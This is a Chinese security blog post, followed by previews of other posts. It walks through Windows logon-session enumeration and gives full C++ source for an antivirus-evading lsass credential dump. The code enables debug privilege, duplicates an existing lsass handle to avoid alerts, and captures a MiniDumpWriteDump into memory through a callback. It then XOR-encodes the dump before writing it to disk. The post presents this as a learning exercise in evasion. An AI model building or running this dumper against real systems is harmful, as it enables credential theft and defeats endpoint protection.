0%

0x1 前言

​ 许久不写博客,甚至已经有些忘记格式该是如何的,本篇博文用于记录我在学习Windows安全时的一些知识点。

0x2 实例Demo

0x01 LogonSessionList获取活动会话信息


​ 利用LogonSessionList结构我们可以读取系统内当前活动会话之信息,若用户尚未登陆,则无法通过此结构读取检测到用户的Session,因为系统内这时并没有与该用户关联的活动登录会话。

​ 同时,当用户注销会话后,我们也不可通过此结构获取其信息。

​ 导出LogonSessionList我们可以使用LsaEnumerateLogonSessions函数获取其数组指针,随后通过LsaGetLogonSessionData 函数读取其中的结构。

1
2
3
4
5
6
7
8
9
10
NTSTATUS LsaEnumerateLogonSessions(
[out] PULONG LogonSessionCount,
[out] PLUID *LogonSessionList
);


NTSTATUS LsaGetLogonSessionData(
[in] PLUID LogonId,
[out] PSECURITY_LOGON_SESSION_DATA *ppLogonSessionData
);

其中,我们需要SECURITY_LOGON_SESSION_DATA结构内的信息,其结构如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
typedef struct _SECURITY_LOGON_SESSION_DATA {
ULONG Size;
LUID LogonId;
LSA_UNICODE_STRING UserName;
LSA_UNICODE_STRING LogonDomain;
LSA_UNICODE_STRING AuthenticationPackage;
ULONG LogonType;
ULONG Session;
PSID Sid;
LARGE_INTEGER LogonTime;
LSA_UNICODE_STRING LogonServer;
LSA_UNICODE_STRING DnsDomainName;
LSA_UNICODE_STRING Upn;
ULONG UserFlags;
LSA_LAST_INTER_LOGON_INFO LastLogonInfo;
LSA_UNICODE_STRING LogonScript;
LSA_UNICODE_STRING ProfilePath;
LSA_UNICODE_STRING HomeDirectory;
LSA_UNICODE_STRING HomeDirectoryDrive;
LARGE_INTEGER LogoffTime;
LARGE_INTEGER KickOffTime;
LARGE_INTEGER PasswordLastSet;
LARGE_INTEGER PasswordCanChange;
LARGE_INTEGER PasswordMustChange;
} SECURITY_LOGON_SESSION_DATA, *PSECURITY_LOGON_SESSION_DATA;

​ 我们可以通过for循环的方式将相关信息遍历导出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<NTSecAPI.h>
#include<tchar.h>

#pragma comment(lib,"Secur32.lib")


int main(int argc, char* argv[]) {
ULONG LogonSessionCount;
PLUID LogonSessionList;
PSECURITY_LOGON_SESSION_DATA pLogonSessionData;
NTSTATUS status;

//分配内存
pLogonSessionData = (PSECURITY_LOGON_SESSION_DATA)malloc(sizeof(SECURITY_LOGON_SESSION_DATA));

status = LsaEnumerateLogonSessions(&LogonSessionCount, &LogonSessionList);
if (status != ERROR_SUCCESS) {
printf("LsaEnumrateLogonSessions ErrorCode:%u\r\n", GetLastError());
return 0;
}
//读取现存有效session数
printf("SessionCount %d\r\n", LogonSessionCount);
//成功导出sessioncount 枚举每个session username
for (int i = 0; i < LogonSessionCount; i++) {
LsaGetLogonSessionData(LogonSessionList + i, &pLogonSessionData);
_tprintf("%ws\\%ws\r\n", pLogonSessionData->LogonDomain,pLogonSessionData->UserName.Buffer);
}
LsaFreeReturnBuffer(pLogonSessionData);

return 0;
}

效果如下:

image-20230307105906988

0x02 间接获取进程句柄,回调函数加密lsass规避杀软


​ 随着技术的发展,杀软对lsass等进程句柄的获取有了更加严格的监控,下面我们将使用NtDuplicateObject间接获取进程句柄,避免告警。

0x001大体流程:
  1. 获得SeDebugPrivilege调试权限。
  2. 使用NtQuerySystemInformation获取所有进程打开的句柄
  3. 利用OpenProcess获取具有PROCESS_DUP_HANDLE权限的句柄
  4. 使用NtduplicateObject来Copy获取上述句柄的副本
  5. 通过NtQueryObject查询句柄信息,筛选出类型为Process的句柄
  6. 通过QueryFullProcessimageName判断进程是否为lsass的句柄
0x002函数、结构原型:
NtQueryObject
1
2
3
4
5
6
7
typedef NTSTATUS (NTAPI* NtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NtQuerySystemInformation
1
2
3
4
5
6
typedef NTSTATUS (NTAPI* NtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);
NtDuplicateObject
1
2
3
4
5
6
7
8
9
10
typedef NTSTATUS(NTAPI* NtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);

1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount; //Handle counts
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
0x003流程分析:

​ 获取Debug权限的操作,我们暂且略过,从第二步如何使用NtQuerySystemInformation获取系统内句柄信息开始演示.

获取函数地址,其余Nt函数流程大体一致

1
2
3
4
5
6
HMODULE hModule = GetModuleHandle("ntdll.dll");
pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}

获取系统内的句柄信息

​ 提前申请SYSTEM_HANDLE_INFORMATION内存空间,使用while循环判断执行结果,若ReturnLength不足,函数会将缓冲区所需的大小返回至ReturnLength当中,继续循环申请内存直至成功。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo;
ULONG ReturnLength = 0;
NTSTATUS status;

while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}

if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}

筛选进程句柄

用到的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;//进程id
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle; //句柄的USHOT形式,若要使用,可利用(Void*)进行强转
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;


typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName; //获得该对象的类型名的UNICODE_STRING
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

​ 利用for循环,遍历存储于SYSTEM_HANDLE_INFORMATION结构中的句柄信息,使用OpenProcess打开一个具有PROCESS_DUP_HANDLEPROCESS_QUERY_LIMITED_INFORMATION权限的进程句柄,为避免杀软检测,我们并不能直接使用系统中存在的这份句柄,我们需要使用NtDuplicateObject函数copy一份该进程的句柄以供我们使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
SYSTEM_HANDLE sysHandle;
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
NTSTATUS status;
POBJECT_TYPE_INFORMATION objectTypeInfo;

for (int index=1; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;

sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}

//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
/*printf("DupliteHandle Failed of the pid:%d\r\n", sysHandle.ProcessId);*/
continue;
}
//Query handle info
ReturnLength = 0; //Reset ReturnLength
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could not get the handle information\r\n");
continue;
}

wchar_t path[255];

DWORD buffSize = 255;

}

​ 此处我们使用wcscmp函数查找ObjectTypeInfo的TypeName.buffer出现Process关键字的句柄,若存在进入下一层判断,利用QueryFullProcessImageName查找进程名等信息,进而使用wcsstr函数查找出现该关键字的进程,并利用targetHandleProcessID变量将复制的句柄、lsass进程的PID保存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
wchar_t path[255];

DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}

MiniDumpCallBack

​ 触发回调之后,通过RtlCopyMemoryLsass进程内的内容存到堆指针dumpBuffer所指向的堆空间当中;触发回调函数时,利用全局变量bytesRead获得我们已转储的lsass进程内存内容的大小,利用callbackInput->Io.Offset以及callbackInput->Io.BufferBytes获取每次我们读取内存内容的开始位置以及大小。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;

switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;

//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;



default:
return true;
}
return true;
}
0x004完整源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
#include<Windows.h>
#include<stdio.h>
#include<tchar.h>
#include<iostream>
#include<ProcessSnapshot.h>
#include<DbgHelp.h>





#define STATUS_INFO_LENGTH_MISMATCH 0xc0000004
#define NT_SUCCESS(x) ((x) >= 0)
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")
#pragma comment (lib,"Dbghelp.lib")

typedef enum _SYSTEM_INFORMATION_CLASS {
SystemBasicInformation = 0,
SystemProcessorInformation = 1,
SystemPerformanceInformation = 2,
SystemTimeOfDayInformation = 3,
SystemPathInformation = 4,
SystemProcessInformation = 5,
SystemCallCountInformation = 6,
SystemDeviceInformation = 7,
SystemProcessorPerformanceInformation = 8,
SystemFlagsInformation = 9,
SystemCallTimeInformation = 10,
SystemModuleInformation = 11,
SystemLocksInformation = 12,
SystemStackTraceInformation = 13,
SystemPagedPoolInformation = 14,
SystemNonPagedPoolInformation = 15,
SystemHandleInformation = 16,
SystemObjectInformation = 17,
SystemPageFileInformation = 18,
SystemVdmInstemulInformation = 19,
SystemVdmBopInformation = 20,
SystemFileCacheInformation = 21,
SystemPoolTagInformation = 22,
SystemInterruptInformation = 23,
SystemDpcBehaviorInformation = 24,
SystemFullMemoryInformation = 25,
SystemLoadGdiDriverInformation = 26,
SystemUnloadGdiDriverInformation = 27,
SystemTimeAdjustmentInformation = 28,
SystemSummaryMemoryInformation = 29,
SystemNextEventIdInformation = 30,
SystemEventIdsInformation = 31,
SystemCrashDumpInformation = 32,
SystemExceptionInformation = 33,
SystemCrashDumpStateInformation = 34,
SystemKernelDebuggerInformation = 35,
SystemContextSwitchInformation = 36,
SystemRegistryQuotaInformation = 37,
SystemExtendServiceTableInformation = 38,
SystemPrioritySeperation = 39,
SystemVerifierAddDriverInformation = 40,
SystemVerifierRemoveDriverInformation = 41,
SystemProcessorIdleInformation = 42,
SystemLegacyDriverInformation = 43,
SystemCurrentTimeZoneInformation = 44,
SystemLookasideInformation = 45,
SystemTimeSlipNotification = 46,
SystemSessionCreate = 47,
SystemSessionDetach = 48,
SystemSessionInformation = 49,
SystemRangeStartInformation = 50,
SystemVerifierInformation = 51,
SystemVerifierThunkExtend = 52,
SystemSessionProcessInformation = 53,
SystemLoadGdiDriverInSystemSpace = 54,
SystemNumaProcessorMap = 55,
SystemPrefetcherInformation = 56,
SystemExtendedProcessInformation = 57,
SystemRecommendedSharedDataAlignment = 58,
SystemComPlusPackage = 59,
SystemNumaAvailableMemory = 60,
SystemProcessorPowerInformation = 61,
SystemEmulationBasicInformation = 62,
SystemEmulationProcessorInformation = 63,
SystemExtendedHandleInformation = 64,
SystemLostDelayedWriteInformation = 65,
SystemBigPoolInformation = 66,
SystemSessionPoolTagInformation = 67,
SystemSessionMappedViewInformation = 68,
SystemHotpatchInformation = 69,
SystemObjectSecurityMode = 70,
SystemWatchdogTimerHandler = 71,
SystemWatchdogTimerInformation = 72,
SystemLogicalProcessorInformation = 73,
SystemWow64SharedInformationObsolete = 74,
SystemRegisterFirmwareTableInformationHandler = 75,
SystemFirmwareTableInformation = 76
} SYSTEM_INFORMATION_CLASS, * PSYSTEM_INFORMATION_CLASS;

typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef LONG KPRIORITY;
typedef struct _SYSTEM_PROCESS_INFORMATION {
ULONG NextEntryOffset;
ULONG NumberOfThreads;
BYTE Reserved1[48];
UNICODE_STRING ImageName;
KPRIORITY BasePriority;
HANDLE UniqueProcessId;
PVOID Reserved2;
ULONG HandleCount;
ULONG SessionId;
PVOID Reserved3;
SIZE_T PeakVirtualSize;
SIZE_T VirtualSize;
ULONG Reserved4;
SIZE_T PeakWorkingSetSize;
SIZE_T WorkingSetSize;
PVOID Reserved5;
SIZE_T QuotaPagedPoolUsage;
PVOID Reserved6;
SIZE_T QuotaNonPagedPoolUsage;
SIZE_T PagefileUsage;
SIZE_T PeakPagefileUsage;
SIZE_T PrivatePageCount;
LARGE_INTEGER Reserved7[6];
} SYSTEM_PROCESS_INFORMATION;

typedef struct _SYSTEM_HANDLE {
ULONG ProcessId;
BYTE ObjectTypeNumber;
BYTE Flags;
USHORT Handle;
PVOID Object;
ACCESS_MASK GrantedAccess;
} SYSTEM_HANDLE, * PSYSTEM_HANDLE;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG HandleCount;
SYSTEM_HANDLE Handles[1];
} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;

typedef enum _OBJECT_INFORMATION_CLASS {
ObjectBasicInformation,
ObjectNameInformation,
ObjectTypeInformation,
ObjectAllTypesInformation,
ObjectHandleInformation,

ObjectTypesInformation,
ObjectDataInformation
}OBJECT_INFORMATION_CLASS, * POBJECT_INFORMATION_CLASS;

typedef NTSTATUS (NTAPI* pNtQueryObject)(
IN OPTIONAL HANDLE Handle,
IN OBJECT_INFORMATION_CLASS ObjectInformationClass,
OUT OPTIONAL PVOID ObjectInformation,
IN ULONG ObjectInformationLength,
OUT OPTIONAL PULONG ReturnLength
);



typedef NTSTATUS (NTAPI* pNtQuerySystemInformation)(
IN SYSTEM_INFORMATION_CLASS SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT OPTIONAL PULONG ReturnLength
);



typedef struct __OBJECT_TYPE_INFORMATION {
UNICODE_STRING TypeName;
ULONG TotalNumberOfObjects;
ULONG TotalNumberOfHandles;
ULONG TotalPagedPoolUsage;
ULONG TotalNonPagedPoolUsage;
ULONG TotalNamePoolUsage;
ULONG TotalHandleTableUsage;
ULONG HighWaterNumberOfObjects;
ULONG HighWaterNumberOfHandles;
ULONG HighWaterPagedPoolUsage;
ULONG HighWaterNonPagedPoolUsage;
ULONG HighWaterNamePoolUsage;
ULONG HighWaterHandleTableUsage;
ULONG InvalidAttributes;
GENERIC_MAPPING GenericMapping;
ULONG ValidAccessMask;
BOOLEAN SecurityRequired;
BOOLEAN MaintainHandleCount;
UCHAR TypeIndex;
CHAR Reserved;
ULONG PoolType;
ULONG DefaultPagedPoolCharge;
ULONG DefaultNonPagedPoolCharge;
} OBJECT_TYPE_INFORMATION, * POBJECT_TYPE_INFORMATION;

typedef NTSTATUS(NTAPI* pNtDuplicateObject)(
HANDLE SourceProcessHandle,
HANDLE SourceHandle,
HANDLE TargetProcessHandle,
PHANDLE TargetHandle,
ACCESS_MASK DesiredAccess,
ULONG Attributes,
ULONG Options
);


typedef NTSTATUS (NTAPI* pRtlAdjustPrivilege)(
ULONG Privilege,
BOOLEAN Enable,
BOOLEAN CurrentThread,
PBOOLEAN Enabled
);


//Apply for the Buffer for saving Lsass dump file
LPVOID dumpBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 1024 * 1024 * 70); //Alloction 70m
DWORD bytesRead = 0;


DWORD FindProcHandle();


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken);
int main() {
BOOLEAN enabled;
if (RtlAdjustPrivilege == NULL) {
printf("Not Found pRtlAdjustPrivilege Func,ErrorCode:%u\r\n", GetLastError());
return 0;
}


HANDLE hToken = NULL, PrimaryToken = NULL;



if (EnableSeDebugPrivilege(true, hToken))
printf("SeDebugPrivilege success\r\n");
else
printf("SedebugPrivilege failed\r\n");


DWORD pid = FindProcHandle();

return 0;
}

BOOL CALLBACK minidumpCallback(__in PVOID callbackParam,__in const PMINIDUMP_CALLBACK_INPUT callbackInput,__inout PMINIDUMP_CALLBACK_OUTPUT callbackOutput)
{
LPVOID Destination=0, Source=0;
DWORD bufferSize = 0;

switch (callbackInput->CallbackType)
{
//Triggering Write CallbackFunc
case IoStartCallback:
callbackOutput->Status = S_FALSE;
break;
case IoWriteAllCallback:
callbackOutput->Status = S_OK;

//抓取触发回调后 读取lsass 要被dump的内存内容
Source = callbackInput->Io.Buffer;
//计算存储这部分内容的位置 堆的基地址+lsass转储内存内容的开始偏移
Destination = (LPVOID)((DWORD_PTR)dumpBuffer + (DWORD_PTR)callbackInput->Io.Offset);

//上面被读取的小块内容的大小
bufferSize = callbackInput->Io.BufferBytes;
bytesRead += bufferSize;
//向堆中写入lsass的小块内容
RtlCopyMemory(Destination, Source, bufferSize);
//printf("[+]Minidump offset %x,content length:%x\r\n", callbackInput->Io.Offset, callbackInput->Io.BufferBytes);
printf("[+] Io.Offset %x\r\n", callbackInput->Io.Offset);
break;
case IoFinishCallback:
callbackOutput->Status = S_OK;
break;



default:
return true;
}
return true;
}


BOOL EnableSeDebugPrivilege(BOOL fEnable, HANDLE& hToken)
{

BOOL fok = FALSE;


if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken))
{

TOKEN_PRIVILEGES tp;//结构体,表示令牌权限

//只启动调试权限,所以权限的个数是一个
tp.PrivilegeCount = 1;

LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tp.Privileges[0].Luid);

//下面一句话,在tp.Privilege[0].Attributes属性中,设置是开启这个权限还是关闭这个权限
tp.Privileges[0].Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;

AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);


fok = (GetLastError() == ERROR_SUCCESS);
}
return fok;
}



DWORD FindProcHandle()
{
HANDLE hProcess=NULL, Duplitehandle=NULL,targetHandle=NULL;
HMODULE hModule = GetModuleHandle(L"ntdll.dll");


PVOID SysInfo;
PSYSTEM_HANDLE_INFORMATION HandleInfo=nullptr;
SYSTEM_HANDLE sysHandle;
POBJECT_TYPE_INFORMATION objectTypeInfo=nullptr;
ULONG ReturnLength=0;
DWORD index = 1,ProcessID=0;
NTSTATUS status;

pNtQuerySystemInformation NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hModule, "NtQuerySystemInformation");
if (!NtQuerySystemInformation) {
printf("NtQuerySystemInformation get address failed %d\r\n",GetLastError());
return 0;
}
pNtDuplicateObject NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hModule, "NtDuplicateObject");
if (!NtDuplicateObject) {
printf("NtDumplicateObject get address failed %d\r\n",GetLastError());
return 0;
}
pNtQueryObject NtQueryObject = (pNtQueryObject)GetProcAddress(hModule, "NtQueryObject");
if (!NtQueryObject) {
printf("NtQueryObject get address failed %d\r\n",GetLastError());
return 0;
}

//get processinformation
//HandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(0x10000);
while ((status = NtQuerySystemInformation(
SystemHandleInformation,
HandleInfo,
ReturnLength,
&ReturnLength
)) == STATUS_INFO_LENGTH_MISMATCH)
HandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(HandleInfo, ReturnLength *= 2);
if (!NT_SUCCESS(status)) {
printf("NtQuerySystemInformation Failed:%u\r\n", GetLastError());
return 0;
}
for (; index < HandleInfo->HandleCount; index++) {
//printf("Handle ProcessId:%d\r\n", HandleInfo->Handles[index].ProcessId);
if (HandleInfo->Handles[index].ProcessId == 4)
continue;

sysHandle = HandleInfo->Handles[index];
hProcess = OpenProcess(PROCESS_DUP_HANDLE|PROCESS_QUERY_LIMITED_INFORMATION, false, sysHandle.ProcessId);
if (!hProcess) {
continue;
}

//try to copy handle
status = NtDuplicateObject(hProcess, (void*)sysHandle.Handle,GetCurrentProcess(), &Duplitehandle, PROCESS_VM_READ|PROCESS_QUERY_INFORMATION, NULL, NULL);
if (!NT_SUCCESS(status)) {
continue;
}

ReturnLength = 0;
while ((status = NtQueryObject(
Duplitehandle,
ObjectTypeInformation,
objectTypeInfo,
ReturnLength,
&ReturnLength)) == STATUS_INFO_LENGTH_MISMATCH) {
objectTypeInfo = (POBJECT_TYPE_INFORMATION)realloc(objectTypeInfo, ReturnLength * 2);
}
if (!objectTypeInfo) {
printf("could nt get the handle information %d\r\n",GetLastError());
continue;
}

wchar_t path[255];

DWORD buffSize = 255;

if (wcscmp(L"Process", objectTypeInfo->TypeName.Buffer) == 0) {
//查找进程名等信息
if (!QueryFullProcessImageName(Duplitehandle, 0, path, &buffSize)) {
printf("QueryFullProcessImagenameW Failed,ErrorCode:%d\r\n", GetLastError());
}
else
{
if (wcsstr(path,L"lsass") != NULL) {
printf("[+] Found the Process Handle ,%d\r\n", sysHandle.ProcessId);
targetHandle = Duplitehandle;
ProcessID = sysHandle.ProcessId;
}
}
}

}




//try to get the process dump file
HANDLE hFile = CreateFile(L"C:\\users\\86156\\desktop\\mini.dmp", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (!hFile) {
printf("CreateFile ErrorCode:%u\r\n", GetLastError());
return false;
; }

//Set up minidump callback
MINIDUMP_CALLBACK_INFORMATION callbackInfo;
ZeroMemory(&callbackInfo, sizeof(MINIDUMP_CALLBACK_INFORMATION));
callbackInfo.CallbackRoutine = &minidumpCallback;
callbackInfo.CallbackParam = NULL;

boolean isDumped = MiniDumpWriteDump(targetHandle, ProcessID, NULL, MiniDumpWithFullMemory, NULL, NULL,&callbackInfo );
if (isDumped) {
printf("Dump Process Memory Context to heap success\r\n");
/*WriteFile(hFile, dumpBuffer, bytesRead, &bytesRead, NULL); */
//printf("Size = %x\r\n", *((char*)dumpBuffer+3)^'a'^'a');
DWORD strLeng = 1;
for (int i = 0; i < bytesRead; i++) {
char str = *((char*)dumpBuffer + i) ^ 'a' ;
LPVOID lpStr = &str;
WriteFile(hFile, lpStr, strLeng, &strLeng, NULL);
}

}
else {
printf("%d\r\n",GetLastError());
}
CloseHandle(hFile);
free(dumpBuffer);
CloseHandle(hProcess);
CloseHandle(Duplitehandle);
CloseHandle(targetHandle);

return 0;
}

0x3参考文章

1
2
3
https://tttang.com/archive/1810/#toc_ntduplicateobject
https://mp.weixin.qq.com/s?__biz=MzA5ODA0NDE2MA==&mid=2649751822&idx=3&sn=d8a0d685152418e7b8a6abf532365aa2&chksm=88933161bfe4b87759a0483aeb25c6bc82d098b7d98209b6cd482b3c5bd845aec349df30ae57#rd
https://loong716.top/posts/lsass/

0x4 声明

1
我的博客即将同步至腾讯云开发者社区,邀请大家一同入驻:https://cloud.tencent.com/developer/support-plan?invite_code=59q74len4fdq

0x1 前置理论

访问令牌(Access Token)

Access Token是描述进程或线程的安全上下文的对象。其中包括进程或线程关联的用户账户的身份和权限。

Access Token分为授权令牌(Delegation Token)、模拟令牌(Impersonation token)两种。

Access Token包含以下信息

阅读全文 »

0x1 前言

​ NTLM Relay大家已经不再陌生了,很多时候我们通过NTLM Relay进行攻击时,会受到协议签名(ldap/s、smb等协议签名)的影响从而导致攻击失败,并且随着时间的流逝,我们想要遇到忽略签名的smb等服务也变得越来越困难了,我们有哪些方法来忽略服务端验证签名的影响从而达到我们relay攻击的目的呢?

​ 我们可以寻找不支持签名的服务,来避免服务端的签名校验。若客户端不支持签名验证的话,服务端在与客户端通信时是不会强制要求签名认证的。因此我们可以使用HTTP服务中的WebDav来尝试Relay攻击了。

阅读全文 »

1.前言

接触安全已经一年多了,在实习工作中跟进项目的时候,以前我的弱项也逐步暴露出来,并越发明显,我不懂免杀与工具开发,钓鱼、下马的工作无法顺利进行,几乎就是面向google的渗透测试工程。

我想,如果想要进一步的发展提升,便要开展这方面的学习了,遂有此篇博文。

